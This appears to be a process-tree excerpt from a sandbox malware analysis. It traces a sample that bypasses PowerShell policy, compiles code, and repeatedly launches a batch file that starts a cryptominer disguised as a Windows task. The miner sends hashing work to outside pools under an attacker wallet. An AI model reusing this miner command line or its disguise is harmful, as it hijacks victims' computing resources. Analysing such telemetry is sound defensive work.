      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:7396
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:6180
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:7660
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:7184
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:6404
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      Executes a command shell one-liner
      PID:4300
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:7988
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:7000
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:4184
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:7380
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Executes a command shell one-liner
    PID:3208
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:7668
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:8180
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:6340
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:7700
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:1468
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:7488
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:6132
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:8928
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:7624
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:8368
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:8712
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:7812
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      Executes a command shell one-liner
      PID:8316
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:8672
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:8028
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:8856
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:9156
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:5116
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      Executes a command shell one-liner
      PID:8308
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:8616
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:7672
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:8552
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:8472
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:7332
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:8864
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:8160
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:8332
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:2960
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:7428
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:8740
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:3288
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:8036
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:8908
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      Executes a command shell one-liner
      PID:4664
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:8968
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:9040
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:8304
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:3388
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:6912
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:4104
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:7924
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:3428
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:8896
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:6940
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:108
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:8992
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:9068
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:2796
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      Executes a command shell one-liner
      PID:2040
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:4676
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:4684
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:2932
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:7616
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:9064
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:3044
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:5328
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:2696
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:7604
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:7528
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:4388
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      Executes a command shell one-liner
      PID:8872
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:5612
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:8636
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:8424
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:4300
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:6400
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:6528
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:4088
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:8408
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:5516
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:9088
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Executes a command shell one-liner
    PID:7188
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:2012
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      Executes a command shell one-liner
      PID:6964
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:9348
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Executes a command shell one-liner
    PID:3284
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      Executes a command shell one-liner
      PID:4916
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:8904
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:1320
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Executes a command shell one-liner
    PID:4700
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      Executes a command shell one-liner
      PID:4512
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:4692
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:9692
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:8648
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:8880
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:712
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Executes a command shell one-liner
    PID:9492
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:9848
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:10108
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:9792

C:\Users\Admin\AppData\Local\Temp\041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
C:\Users\Admin\AppData\Local\Temp\041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
1⤵
- Suspicious use of WriteProcessMemory
PID:364
- C:\Users\Admin\AppData\Local\Temp\041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
  C:\Users\Admin\AppData\Local\Temp\041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
  2⤵
  - Loads dropped DLL
  PID:4844
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Roaming\Host Task\dynamic_power.ps1"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:2792
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\xttapcs1\xttapcs1.cmdline"
      4⤵
      PID:4544
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES2F15.tmp" "c:\Users\Admin\AppData\Local\Temp\xttapcs1\CSCA35D9B0CBA824BABABAC84C83F3EA9B.TMP"
        5⤵
        
        PID:3420
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:2512
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      Executes a command shell one-liner
      PID:4172
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:1996
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:1152
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      Executes a command shell one-liner
      PID:5028
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:1952
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Executes a command shell one-liner
    PID:2780
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:4964
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:4464
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:6084
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:4832
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:2600
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:3504
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:3484
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:1156
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:5572
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
